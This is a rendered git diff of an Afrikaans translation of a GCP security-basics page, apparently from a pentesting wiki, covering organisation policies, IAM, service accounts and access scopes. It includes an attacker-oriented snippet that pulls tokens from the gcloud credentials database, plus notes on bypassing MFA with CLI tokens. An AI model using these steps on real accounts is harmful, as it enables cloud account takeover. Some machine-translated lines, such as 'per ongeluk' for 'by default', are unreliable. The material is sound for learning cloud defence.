<figure><img src="../../../images/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://cloud.google.com/static/resource-manager/img/cloud-hierarchy.svg">https://cloud.google.com/static/resource-manager/img/cloud-hierarchy.svg</a></p></figcaption></figure>
|
||||
|
||||
## **Projek Migrasie**
|
||||
|
||||
Dit is moontlik om 'n **projek sonder enige organisasie** na 'n organisasie met die toestemmings `roles/resourcemanager.projectCreator` en `roles/resourcemanager.projectMover` te **migreer**. As die projek binne 'n ander organisasie is, is dit nodig om GCP-ondersteuning te kontak om **eers hulle uit die organisasie te skuif**. Vir meer inligting, kyk na [**hierdie**](https://medium.com/google-cloud/migrating-a-project-from-one-organization-to-another-gcp-4b37a86dd9e6).
|
||||
Dit is moontlik om 'n **projek sonder enige organisasie** na 'n organisasie met die toestemmings `roles/resourcemanager.projectCreator` en `roles/resourcemanager.projectMover` te **migreer**. As die projek binne 'n ander organisasie is, is dit nodig om GCP-ondersteuning te kontak om **eerstens uit die organisasie te beweeg**. Vir meer inligting, kyk na [**hierdie**](https://medium.com/google-cloud/migrating-a-project-from-one-organization-to-another-gcp-4b37a86dd9e6).
|
||||
|
||||
## **Organisasie Beleide**
|
||||
|
||||
Laat jou toe om beheer oor jou organisasie se wolkhulpbronne te sentraliseer:
|
||||
Laat jou toe om sentrale beheer oor jou organisasie se wolkhulpbronne te hê:
|
||||
|
||||
- Sentraliseer beheer om **beperkings** te konfigureer oor hoe jou organisasie se hulpbronne gebruik kan word.
|
||||
- Definieer en stel **bewakings** vir jou ontwikkelingspan in om binne nakomingsgrense te bly.
|
||||
- Help projek eienaars en hul spanne om vinnig te beweeg sonder om bekommerd te wees oor die verbreking van nakoming.
|
||||
- Sentrale beheer om **beperkings** te konfigureer oor hoe jou organisasie se hulpbronne gebruik kan word.
|
||||
- Definieer en stel **grenslyne** vas vir jou ontwikkelingspan om binne nakomingsgrense te bly.
|
||||
- Help projek eienaars en hul spanne om vinnig te beweeg sonder om bekommerd te wees oor die oortreding van nakomings.
|
||||
|
||||
Hierdie beleide kan geskep word om die **hele organisasie, vouer(s) of projek(te)** te **affekteer**. Afstammelinge van die geteikende hulpbron hiërargie knoop **erf die organisasie beleid**.
|
||||
Hierdie beleide kan geskep word om **die hele organisasie, vouer(s) of projek(te)** te **affekteer**. Afstammelinge van die geteikende hulpbron hiërargie node **erf die organisasie beleid**.
|
||||
|
||||
Om 'n **organisasie beleid** te **definieer**, **kies jy 'n** [**beperking**](https://cloud.google.com/resource-manager/docs/organization-policy/overview#constraints), wat 'n spesifieke tipe beperking teen 'n Google Cloud diens of 'n groep Google Cloud dienste is. Jy **konfigureer daardie beperking met jou gewenste beperkings**.
|
||||
Om 'n **organisasie beleid** te **definieer**, **kies jy 'n** [**beperking**](https://cloud.google.com/resource-manager/docs/organization-policy/overview#constraints), wat 'n spesifieke tipe beperking teenoor 'n Google Cloud diens of 'n groep Google Cloud dienste is. Jy **konfigureer daardie beperking met jou gewenste beperkings**.
|
||||
|
||||
<figure><img src="../../../images/image (217).png" alt=""><figcaption><p><a href="https://cloud.google.com/resource-manager/img/org-policy-concepts.svg">https://cloud.google.com/resource-manager/img/org-policy-concepts.svg</a></p></figcaption></figure>
|
||||
|
||||
#### Algemene gebruiksgevalle <a href="#common_use_cases" id="common_use_cases"></a>
|
||||
|
||||
@@ -38,6 +42,8 @@ Om 'n **organisasie beleid** te **definieer**, **kies jy 'n** [**beperking**](ht
|
||||
- Beperk die fisiese ligging van nuut geskepte hulpbronne.
|
||||
- Deaktiveer diensrekening skepping.
|
||||
|
||||
<figure><img src="../../../images/image (172).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Daar is baie meer beperkings wat jou fyn beheer oor jou organisasie se hulpbronne gee. Vir **meer inligting, sien die** [**lys van alle Organisasie Beleid Diens beperkings**](https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints)**.**
|
||||
|
||||
### **Standaard Organisasie Beleide**
|
||||
@@ -48,39 +54,39 @@ Daar is baie meer beperkings wat jou fyn beheer oor jou organisasie se hulpbronn
|
||||
|
||||
**Toegang Bestuur Beleide**
|
||||
|
||||
- **Domein beperkte kontakte:** Verhoed die toevoeging van gebruikers aan Essensiële Kontakte buite jou gespesifiseerde domeine. Dit beperk Essensiële Kontakte om slegs bestuurde gebruikersidentiteite in jou geselekteerde domeine toe te laat om platform kennisgewings te ontvang.
|
||||
- **Domein beperkte deel:** Verhoed die toevoeging van gebruikers aan IAM beleide buite jou gespesifiseerde domeine. Dit beperk IAM beleide om slegs bestuurde gebruikersidentiteite in jou geselekteerde domeine toe te laat om toegang tot hulpbronne binne hierdie organisasie te verkry.
|
||||
- **Publieke toegang voorkoming:** Verhoed dat Cloud Storage emmers aan die publiek blootgestel word. Dit verseker dat 'n ontwikkelaar nie Cloud Storage emmers kan konfigureer om nie-geverifieerde internet toegang te hê nie.
|
||||
- **Uniform emmer vlak toegang:** Verhoed objek-vlak toegang beheer lyste (ACLs) in Cloud Storage emmers. Dit vereenvoudig jou toegang bestuur deur IAM beleide konsekwent oor alle objek in Cloud Storage emmers toe te pas.
|
||||
- **Domein beperkte kontakte:** Voorkom die toevoeging van gebruikers aan Essensiële Kontakte buite jou gespesifiseerde domeine. Dit beperk Essensiële Kontakte om slegs bestuurde gebruikersidentiteite in jou geselekteerde domeine toe te laat om platform kennisgewings te ontvang.
|
||||
- **Domein beperkte deling:** Voorkom die toevoeging van gebruikers aan IAM beleide buite jou gespesifiseerde domeine. Dit beperk IAM beleide om slegs bestuurde gebruikersidentiteite in jou geselekteerde domeine toe te laat om hulpbronne binne hierdie organisasie te benader.
|
||||
- **Publieke toegang voorkoming:** Voorkom dat Cloud Storage emmers aan die publiek blootgestel word. Dit verseker dat 'n ontwikkelaar nie Cloud Storage emmers kan konfigureer om nie-geverifieerde internet toegang te hê nie.
|
||||
- **Uniform emmer vlak toegang:** Voorkom objek-vlak toegang beheer lyste (ACLs) in Cloud Storage emmers. Dit vereenvoudig jou toegang bestuur deur IAM beleide konsekwent oor alle objek in Cloud Storage emmers toe te pas.
|
||||
- **Vereis OS aanmelding:** VM's wat in nuwe projekte geskep word, sal OS Aanmelding geaktiveer hê. Dit laat jou toe om SSH toegang tot jou instansies te bestuur met behulp van IAM sonder om individuele SSH sleutels te moet skep en bestuur.
|
||||
|
||||
**Addisionele sekuriteitsbeleide vir diensrekeninge**
|
||||
|
||||
- **Deaktiveer outomatiese IAM toekennings**: Verhoed dat die standaard App Engine en Compute Engine diensrekeninge outomaties die Editor IAM rol op 'n projek by skepping toegeken word. Dit verseker dat diensrekeninge nie oormatig permissiewe IAM rolle ontvang nie.
|
||||
- **Deaktiveer diensrekening sleutel skepping**: Verhoed die skepping van publieke diensrekening sleutels. Dit help om die risiko van blootstelling van volgehoue akkrediteer te verminder.
|
||||
- **Deaktiveer diensrekening sleutel opgelaai**: Verhoed die opgelaai van publieke diensrekening sleutels. Dit help om die risiko van gelekte of hergebruikte sleutel materiaal te verminder.
|
||||
- **Deaktiveer outomatiese IAM toekennings**: Voorkom dat die standaard App Engine en Compute Engine diensrekeninge outomaties die Redigeerder IAM rol op 'n projek by skepping toegeken word. Dit verseker dat diensrekeninge nie oormatig permissiewe IAM rolle ontvang nie.
|
||||
- **Deaktiveer diensrekening sleutel skepping**: Voorkom die skepping van publieke diensrekening sleutels. Dit help om die risiko van blootstelling van volgehoue akrediteer te verminder.
|
||||
- **Deaktiveer diensrekening sleutel opgelaai**: Voorkom die opgelaai van publieke diensrekening sleutels. Dit help om die risiko van gelekte of hergebruikte sleutel materiaal te verminder.
|
||||
|
||||
**Veilige VPC netwerk konfigurasie beleide**
|
||||
|
||||
- **Definieer toegelate eksterne IP's vir VM instansies**: Verhoed die skepping van Compute instansies met 'n publieke IP, wat hulle aan internetverkeer kan blootstel.
|
||||
- **Definieer toegelate eksterne IP's vir VM instansies**: Voorkom die skepping van Compute instansies met 'n publieke IP, wat hulle aan internetverkeer kan blootstel.
|
||||
|
||||
* **Deaktiveer VM geneste virtualisering**: Verhoed die skepping van geneste VM's op Compute Engine VM's. Dit verminder die sekuriteitsrisiko van onopgemerk geneste VM's.
|
||||
* **Deaktiveer VM geneste virtualisering**: Voorkom die skepping van geneste VM's op Compute Engine VM's. Dit verminder die sekuriteitsrisiko van onopgemerkte geneste VM's.
|
||||
|
||||
- **Deaktiveer VM seriële poort:** Verhoed seriële poort toegang tot Compute Engine VM's. Dit verhoed invoer na 'n bediener se seriële poort met behulp van die Compute Engine API.
|
||||
- **Deaktiveer VM seriële poort:** Voorkom seriële poort toegang tot Compute Engine VM's. Dit voorkom invoer na 'n bediener se seriële poort met behulp van die Compute Engine API.
|
||||
|
||||
* **Beperk gemagtigde netwerke op Cloud SQL instansies:** Verhoed dat publieke of nie-interne netwerkreekse toegang tot jou Cloud SQL databasisse verkry.
|
||||
* **Beperk geautoriseerde netwerke op Cloud SQL instansies:** Voorkom dat publieke of nie-interne netwerkreekse toegang tot jou Cloud SQL databasisse verkry.
|
||||
|
||||
- **Beperk Protokol Oorgang gebaseer op tipe IP Adres:** Verhoed VM protokol oorgang vir eksterne IP adresse.
|
||||
- **Beperk Protokol Oorgang gebaseer op tipe IP Adres:** Voorkom VM protokol oorgang vir eksterne IP adresse.
|
||||
|
||||
* **Beperk Publieke IP toegang op Cloud SQL instansies:** Verhoed die skepping van Cloud SQL instansies met 'n publieke IP, wat hulle aan internetverkeer kan blootstel.
|
||||
* **Beperk Publieke IP toegang op Cloud SQL instansies:** Voorkom die skepping van Cloud SQL instansies met 'n publieke IP, wat hulle aan internetverkeer kan blootstel.
|
||||
|
||||
- **Beperk gedeelde VPC projek lien verwydering:** Verhoed die toevallige verwydering van Gedeelde VPC gasheer projekte.
|
||||
- **Beperk gedeelde VPC projek lien verwydering:** Voorkom die toevallige verwydering van Gedeelde VPC gasheer projekte.
|
||||
|
||||
* **Stel die interne DNS instelling vir nuwe projekte op Zonal DNS Slegs:** Verhoed die gebruik van 'n erflike DNS instelling wat diens beskikbaarheid verminder het.
|
||||
* **Stel die interne DNS instelling vir nuwe projekte op Zonal DNS Slegs:** Voorkom die gebruik van 'n erflike DNS instelling wat diens beskikbaarheid verminder het.
|
||||
|
||||
- **Slaan standaard netwerk skepping oor:** Verhoed outomatiese skepping van die standaard VPC netwerk en verwante hulpbronne. Dit vermy oormatig permissiewe standaard vuurmuur reëls.
|
||||
- **Slaan standaard netwerk skepping oor:** Voorkom outomatiese skepping van die standaard VPC netwerk en verwante hulpbronne. Dit vermy oormatig permissiewe standaard vuurmuur reëls.
|
||||
|
||||
* **Deaktiveer VPC Eksterne IPv6 gebruik:** Verhoed die skepping van eksterne IPv6 subnetwerke, wat aan nie-gemagtigde internet toegang blootgestel kan word.
|
||||
* **Deaktiveer VPC Eksterne IPv6 gebruik:** Voorkom die skepping van eksterne IPv6 subnetwerke, wat aan nie-geautoriseerde internet toegang blootgestel kan word.
|
||||
|
||||
</details>
|
||||
|
||||
@@ -88,8 +94,8 @@ Daar is baie meer beperkings wat jou fyn beheer oor jou organisasie se hulpbronn
|
||||
|
||||
Hierdie is soos IAM beleide in AWS aangesien **elke rol 'n stel toestemmings bevat.**
|
||||
|
||||
Echter, anders as in AWS, is daar **geen sentrale repo** van rolle nie. In plaas daarvan, **gee hulpbronne X toegang rolle aan Y principals**, en die enigste manier om uit te vind wie toegang tot 'n hulpbron het, is om die **`get-iam-policy` metode oor daardie hulpbron** te gebruik.\
|
||||
Dit kan 'n probleem wees omdat dit beteken dat die enigste manier om uit te vind **watter toestemmings 'n principal het, is om elke hulpbron te vra aan wie dit toestemmings gee**, en 'n gebruiker mag nie toestemming hê om toestemming van alle hulpbronne te verkry nie.
|
||||
Echter, anders as in AWS, is daar **geen gesentraliseerde repo** van rolle nie. In plaas daarvan, **gee hulpbronne X toegang rolle aan Y prinsipes**, en die enigste manier om uit te vind wie toegang tot 'n hulpbron het, is om die **`get-iam-policy` metode oor daardie hulpbron** te gebruik.\
|
||||
Dit kan 'n probleem wees omdat dit beteken dat die enigste manier om uit te vind **watter toestemmings 'n prinsipe het, is om elke hulpbron te vra wie dit toestemming gee**, en 'n gebruiker mag nie toestemming hê om toestemming van alle hulpbronne te kry nie.
|
||||
|
||||
Daar is **drie tipes** rolle in IAM:
|
||||
|
||||
@@ -104,36 +110,23 @@ Boonop, let daarop dat **toestemmings** slegs **in werking sal tree** as hulle *
|
||||
|
||||
Of kyk of 'n **pasgemaakte rol 'n** [**spesifieke toestemming hier kan gebruik**](https://cloud.google.com/iam/docs/custom-roles-permissions-support)**.**
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Gebruikers <a href="#default-credentials" id="default-credentials"></a>
|
||||
|
||||
In **GCP-konsol** is daar **geen gebruikers of groepe** bestuur nie, dit word in **Google Workspace** gedoen. Alhoewel jy 'n ander identiteit verskaffer in Google Workspace kan sinkroniseer.
|
||||
In **GCP-konsol** is daar **geen Gebruikers of Groepe** bestuur nie, dit word in **Google Workspace** gedoen. Alhoewel jy 'n ander identiteitsverskaffer in Google Workspace kan sinkroniseer.
|
||||
|
||||
Jy kan toegang tot Workspaces **gebruikers en groepe in** [**https://admin.google.com**](https://admin.google.com/).
|
||||
Jy kan Workspaces **gebruikers en groepe in** [**https://admin.google.com**](https://admin.google.com/) benader.
|
||||
|
||||
**MFA** kan **gedwonge** word vir Workspaces gebruikers, egter, 'n **aanvaller** kan 'n token gebruik om toegang tot GCP **via cli te verkry wat nie deur MFA beskerm sal word nie** (dit sal slegs deur MFA beskerm word wanneer die gebruiker aanmeld om dit te genereer: `gcloud auth login`).
|
||||
**MFA** kan **gedwonge** word vir Workspaces gebruikers, egter, 'n **aanvaller** kan 'n token gebruik om GCP **via cli te benader wat nie deur MFA beskerm sal word nie** (dit sal slegs deur MFA beskerm word wanneer die gebruiker aanmeld om dit te genereer: `gcloud auth login`).
|
||||
|
||||
## Groepe
|
||||
|
||||
Wanneer 'n organisasie geskep word, word verskeie groepe **sterk aanbeveel om geskep te word.** As jy enige van hulle bestuur, mag jy al of 'n belangrike deel van die organisasie gecompromitteer het:
|
||||
Wanneer 'n organisasie geskep word, word verskeie groepe **sterk aanbeveel om geskep te word.** As jy enige van hulle bestuur, mag jy al die of 'n belangrike deel van die organisasie gecompromitteer het:
|
||||
|
||||
| **Groep** | **Funksie** |
|
||||
|-----------|-------------|
|
||||
| **gcp-organization-admins**<br><em>(groep of individuele rekeninge benodig vir kontrolelys)</em> | Administreer enige hulpbron wat aan die organisasie behoort. Ken hierdie rol spaarzaam toe; org admins het toegang tot al jou Google Cloud hulpbronne. Alternatiewelik, omdat hierdie funksie hoogs bevoeg is, oorweeg om individuele rekeninge te gebruik in plaas van om 'n groep te skep. |
|
||||
| **gcp-network-admins**<br><em>(benodig vir kontrolelys)</em> | Skep netwerke, subnetwerke, vuurmuur reëls, en netwerk toestelle soos Cloud Router, Cloud VPN, en wolk laaibalansers. |
|
||||
| **gcp-billing-admins**<br><em>(benodig vir kontrolelys)</em> | Stel faktuur rekeninge op en monitor hul gebruik. |
|
||||
| **gcp-developers**<br><em>(benodig vir kontrolelys)</em> | Ontwerp, kodeer, en toets toepassings. |
|
||||
| **gcp-security-admins** | Stel en bestuur sekuriteitsbeleide vir die hele organisasie, insluitend toegang bestuur en <a href="https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints">organisasie beperking beleide</a>. Sien die <a href="https://cloud.google.com/architecture/security-foundations/authentication-authorization#users_and_groups">Google Cloud sekuriteitsfondasies gids</a> vir meer inligting oor die beplanning van jou Google Cloud sekuriteitsinfrastruktuur. |
|
||||
| **gcp-devops** | Skep of bestuur end-to-end pype wat deurlopende integrasie en aflewering, monitering, en stelsels voorsiening ondersteun. |
|
||||
| **gcp-logging-admins** | |
|
||||
| **gcp-logging-viewers** | |
|
||||
| **gcp-monitor-admins** | |
|
||||
| **gcp-billing-viewer**<br><em>(nie meer standaard nie)</em> | Monitor die besteding op projekte. Tipiese lede is deel van die finansiële span. |
|
||||
| **gcp-platform-viewer**<br><em>(nie meer standaard nie)</em> | Hersien hulpbron inligting oor die Google Cloud organisasie. |
|
||||
| **gcp-security-reviewer**<br><em>(nie meer standaard nie)</em> | Hersien wolk sekuriteit. |
|
||||
| **gcp-network-viewer**<br><em>(nie meer standaard nie)</em> | Hersien netwerk konfigurasies. |
|
||||
| **grp-gcp-audit-viewer**<br><em>(nie meer standaard nie)</em> | Beskou oudit logs. |
|
||||
| **gcp-scc-admin**<br><em>(nie meer standaard nie)</em> | Administreer Security Command Center. |
|
||||
| **gcp-secrets-admin**<br><em>(nie meer standaard nie)</em> | Bestuur geheime in Secret Manager. |
|
||||
<table data-header-hidden><thead><tr><th width="299.3076923076923"></th><th></th></tr></thead><tbody><tr><td><strong>Groep</strong></td><td><strong>Funksie</strong></td></tr><tr><td><strong><code>gcp-organization-admins</code></strong><br><em>(groep of individuele rekeninge benodig vir kontrolelys)</em></td><td>Bestuur enige hulpbron wat aan die organisasie behoort. Ken hierdie rol spaarzaam toe; org admins het toegang tot al jou Google Cloud hulpbronne. Alternatiewelik, omdat hierdie funksie hoogs bevoeg is, oorweeg om individuele rekeninge te gebruik eerder as om 'n groep te skep.</td></tr><tr><td><strong><code>gcp-network-admins</code></strong><br><em>(benodig vir kontrolelys)</em></td><td>Skep netwerke, subnetwerke, vuurmuur reëls, en netwerk toestelle soos Cloud Router, Cloud VPN, en wolk laaibalansers.</td></tr><tr><td><strong><code>gcp-billing-admins</code></strong><br><em>(benodig vir kontrolelys)</em></td><td>Stel faktuur rekeninge op en monitor hul gebruik.</td></tr><tr><td><strong><code>gcp-developers</code></strong><br><em>(benodig vir kontrolelys)</em></td><td>Ontwerp, kodeer, en toets toepassings.</td></tr><tr><td><strong><code>gcp-security-admins</code></strong><br></td><td>Stel en bestuur sekuriteitsbeleide vir die hele organisasie, insluitend toegang bestuur en <a href="https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints">organisasie beperking beleide</a>. Sien die <a href="https://cloud.google.com/architecture/security-foundations/authentication-authorization#users_and_groups">Google Cloud sekuriteitsfondasies gids</a> vir meer inligting oor die beplanning van jou Google Cloud sekuriteitsinfrastruktuur.</td></tr><tr><td><strong><code>gcp-devops</code></strong></td><td>Skep of bestuur end-to-end pyplyne wat deurlopende integrasie en aflewering, monitering, en stelsels voorsiening ondersteun.</td></tr><tr><td><strong><code>gcp-logging-admins</code></strong><td></td></tr><tr><td><strong><code>gcp-logging-viewers</code></strong><td></td></tr><tr><td><strong><code>gcp-monitor-admins</code></strong><td></td></tr><tr><td><strong><code>gcp-billing-viewer</code></strong><br><em>(nie meer standaard nie)</em></td><td>Monitor die besteding op projekte. Tipiese lede is deel van die finansiële span.</td></tr><tr><td><strong><code>gcp-platform-viewer</code></strong><br><em>(nie meer standaard nie)</em></td><td>Herbekend hulpbron inligting oor die Google Cloud organisasie.</td></tr><tr><td><strong><code>gcp-security-reviewer</code></strong><br><em>(nie meer standaard nie)</em></td><td>Herbekend wolk sekuriteit.</td></tr><tr><td><strong><code>gcp-network-viewer</code></strong><br><em>(nie meer standaard nie)</em></td><td>Herbekend netwerk konfigurasies.</td></tr><tr><td><strong><code>grp-gcp-audit-viewer</code></strong><br><em>(nie meer standaard nie)</em></td><td>Bekyk oudit logs.</td></tr><tr><td><strong><code>gcp-scc-admin</code></strong><br><em>(nie meer standaard nie)</em></td><td>Bestuur Sekuriteitsopdrag Sentrum.</td></tr><tr><td><strong><code>gcp-secrets-admin</code></strong><br><em>(nie meer standaard nie)</em></td><td>Bestuur geheime in Secret Manager.</td></tr></tbody></table>
|
||||
|
||||
## **Standaard Wagwoord Beleid**
|
||||
|
||||
@@ -141,16 +134,20 @@ Wanneer 'n organisasie geskep word, word verskeie groepe **sterk aanbeveel om ge
|
||||
- Tussen 8 en 100 karakters
|
||||
- Geen hergebruik
|
||||
- Geen vervaldatum
|
||||
- As mense toegang tot Workspace deur 'n derdeparty verskaffer verkry, word hierdie vereistes nie toegepas nie.
|
||||
- As mense toegang tot Workspace deur 'n derdeparty verskaffer, word hierdie vereistes nie toegepas nie.
|
||||
|
||||
<figure><img src="../../../images/image (20).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../images/image (22).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## **Diensrekeninge**
|
||||
|
||||
Dit is die principals wat **hulpbronne** kan **he** **geheg** en toegang het om maklik met GCP te kommunikeer. Byvoorbeeld, dit is moontlik om toegang te verkry tot die **auth token** van 'n Diensrekening **geheg aan 'n VM** in die metadata.\
|
||||
Dit is moontlik om 'n paar **konflikte** te ondervind wanneer beide **IAM en toegang skope** gebruik word. Byvoorbeeld, jou diensrekening mag die IAM rol van `compute.instanceAdmin` hê, maar die instansie wat jy gecompromitteer het, is beperk met die skopbeperking van `https://www.googleapis.com/auth/compute.readonly`. Dit sal jou verhinder om enige veranderinge te maak met die OAuth token wat outomaties aan jou instansie toegeken word.
|
||||
Dit is die prinsipes wat **hulpbronne** kan **he** **geheg** en toegang het om maklik met GCP te interaksie. Byvoorbeeld, dit is moontlik om die **auth token** van 'n Diensrekening **geheg aan 'n VM** in die metadata te benader.\
|
||||
Dit is moontlik om 'n paar **konflikte** te ondervind wanneer jy beide **IAM en toegang skope** gebruik. Byvoorbeeld, jou diensrekening mag die IAM rol van `compute.instanceAdmin` hê, maar die instansie wat jy gecompromitteer het, is beperk met die skopbeperking van `https://www.googleapis.com/auth/compute.readonly`. Dit sal jou verhinder om enige veranderinge te maak met die OAuth token wat outomaties aan jou instansie toegeken word.
|
||||
|
||||
Dit is soortgelyk aan **IAM rolle van AWS**. Maar nie soos in AWS nie, kan **enige** diensrekening aan **enige diens** geheg word (dit hoef nie via 'n beleid toegelaat te word nie).
|
||||
|
||||
Verskeie van die diensrekeninge wat jy sal vind, word eintlik **outomaties deur GCP gegenereer** wanneer jy 'n diens begin gebruik, soos:
|
||||
Verskeie van die diensrekeninge wat jy sal vind, is eintlik **outomaties gegenereer deur GCP** wanneer jy 'n diens begin gebruik, soos:
|
||||
```
|
||||
PROJECT_NUMBER-compute@developer.gserviceaccount.com
|
||||
PROJECT_ID@appspot.gserviceaccount.com
|
||||
@@ -161,20 +158,20 @@ SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com
|
||||
```
|
||||
### **Sleutels & Tokens**
|
||||
|
||||
Daar is 2 hoof maniere om toegang tot GCP te verkry as 'n diensrekening:
|
||||
Daar is 2 hoof maniere om GCP as 'n diensrekening te benader:
|
||||
|
||||
- **Deur OAuth tokens**: Dit is tokens wat jy sal ontvang van plekke soos metadata eindpunte of deur http versoeke te steel en hulle is beperk deur die **toegangskoppe**.
|
||||
- **Sleutels**: Dit is publieke en private sleutelpare wat jou sal toelaat om versoeke as die diensrekening te teken en selfs OAuth tokens te genereer om aksies as die diensrekening uit te voer. Hierdie sleutels is gevaarlik omdat dit moeiliker is om te beperk en te beheer, daarom beveel GCP aan om hulle nie te genereer nie.
|
||||
- **Via OAuth tokens**: Dit is tokens wat jy sal ontvang van plekke soos metadata eindpunte of deur http versoeke te steel en hulle is beperk deur die **toegang skope**.
|
||||
- **Sleutels**: Dit is publieke en private sleutelpare wat jou sal toelaat om versoeke as die diensrekening te teken en selfs OAuth tokens te genereer om aksies as die diensrekening uit te voer. Hierdie sleutels is gevaarlik omdat dit meer ingewikkeld is om te beperk en te beheer, daarom beveel GCP aan om hulle nie te genereer nie.
|
||||
- Let daarop dat elke keer as 'n SA geskep word, **GCP 'n sleutel vir die diensrekening genereer** wat die gebruiker nie kan toegang nie (en nie in die webtoepassing gelys sal word nie). Volgens [**hierdie draad**](https://www.reddit.com/r/googlecloud/comments/f0ospy/service_account_keys_observations/) word hierdie sleutel **intern deur GCP gebruik** om metadata eindpunte toegang te gee om die toeganklike OAuth tokens te genereer.
|
||||
|
||||
### **Toegangskoppe**
|
||||
### **Toegang skope**
|
||||
|
||||
Toegangskoppe is **aangewend op gegenereerde OAuth tokens** om toegang tot die GCP API eindpunte te verkry. Hulle **beperk die toestemmings** van die OAuth token.\
|
||||
Dit beteken dat as 'n token aan 'n Eienaar van 'n hulpbron behoort, maar nie die in die token se omvang het om daardie hulpbron te benader nie, die token **nie gebruik kan word om (mis)bruik te maak van daardie voorregte** nie.
|
||||
Toegang skope is **aangewend op gegenereerde OAuth tokens** om toegang tot die GCP API eindpunte te verkry. Hulle **beperk die toestemmings** van die OAuth token.\
|
||||
Dit beteken dat as 'n token aan 'n Eienaar van 'n hulpbron behoort, maar nie die in die token skoop het om daardie hulpbron te benader nie, die token **nie gebruik kan word om (mis)bruik van daardie voorregte te maak nie**.
|
||||
|
||||
Google beveel eintlik [aan](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions) dat **toegangskoppe nie gebruik word nie en heeltemal op IAM staatgemaak word**. Die webbestuursportaal handhaaf dit eintlik, maar toegangskoppe kan steeds programmaties op instansies toegepas word met behulp van persoonlike diensrekeninge.
|
||||
Google beveel eintlik [aan](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions) dat **toegang skope nie gebruik word nie en heeltemal op IAM staatgemaak word**. Die webbestuursportaal handhaaf dit eintlik, maar toegang skope kan steeds op instansies toegepas word deur middel van pasgemaakte diensrekeninge programmaties.
|
||||
|
||||
Jy kan sien watter **koppe** **toegeken** is deur **te vra:**
|
||||
Jy kan sien watter **skope** **toegeken** is deur **te vra:**
|
||||
```bash
|
||||
curl 'https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=<access_token>'
|
||||
|
||||
@@ -189,13 +186,13 @@ curl 'https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=<access_token>
|
||||
"access_type": "offline"
|
||||
}
|
||||
```
|
||||
Die vorige **scopes** is diegene wat **default** gegenereer is met **`gcloud`** om toegang tot data te verkry. Dit is omdat wanneer jy **`gcloud`** gebruik, jy eers 'n OAuth-token skep, en dit dan gebruik om die eindpunte te kontak.
|
||||
Die vorige **scopes** is diegene wat **per ongeluk** gegenereer is met **`gcloud`** om toegang tot data te verkry. Dit is omdat wanneer jy **`gcloud`** gebruik, jy eers 'n OAuth-token skep, en dit dan gebruik om die eindpunte te kontak.
|
||||
|
||||
Die belangrikste scope van daardie is waarskynlik **`cloud-platform`**, wat basies beteken dat dit moontlik is om **enige diens in GCP** te **toegang**.
|
||||
Die belangrikste scope van hulle is waarskynlik **`cloud-platform`**, wat basies beteken dat dit moontlik is om **toegang tot enige diens in GCP** te verkry.
|
||||
|
||||
Jy kan **'n lys van** [**alle moontlike scopes hier vind**](https://developers.google.com/identity/protocols/googlescopes)**.**
|
||||
|
||||
As jy **`gcloud`** blaaierskredensies het, is dit moontlik om **'n token met ander scopes te verkry,** deur iets soos:
|
||||
As jy **`gcloud`** blaaierskredensies het, is dit moontlik om **'n token met ander scopes te verkry,** deur iets soos te doen:
|
||||
```bash
|
||||
# Maybe you can get a user token with other scopes changing the scopes array from ~/.config/gcloud/credentials.db
|
||||
|
||||
@@ -209,7 +206,7 @@ gcloud auth application-default print-access-token
|
||||
```
|
||||
## **Terraform IAM Beleide, Bindings en Lidmaatskappe**
|
||||
|
||||
Soos gedefinieer deur terraform in [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam) met terraform en GCP is daar verskillende maniere om 'n prinsiep toegang tot 'n hulpbron te gee:
|
||||
Soos gedefinieer deur terraform in [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam) gebruik maak van terraform met GCP, is daar verskillende maniere om 'n prinsiep toegang tot 'n hulpbron te gee:
|
||||
|
||||
- **Lidmaatskappe**: Jy stel **prinsipes as lede van rolle** **sonder beperkings** oor die rol of die prinsipes. Jy kan 'n gebruiker as 'n lid van 'n rol stel en dan 'n groep as 'n lid van dieselfde rol stel en ook daardie prinsipes (gebruiker en groep) as lede van ander rolle stel.
|
||||
- **Bindings**: Verskeie **prinsipes kan aan 'n rol gebind word**. Daardie **prinsipes kan steeds aan ander rolle gebind of lede daarvan wees**. As 'n prinsiep wat nie aan die rol gebind is nie, as **lid van 'n gebinde rol** gestel word, sal die volgende keer wanneer die **binding toegepas word, die lidmaatskap verdwyn**.
|
||||
|
||||
Reference in New Issue
Block a user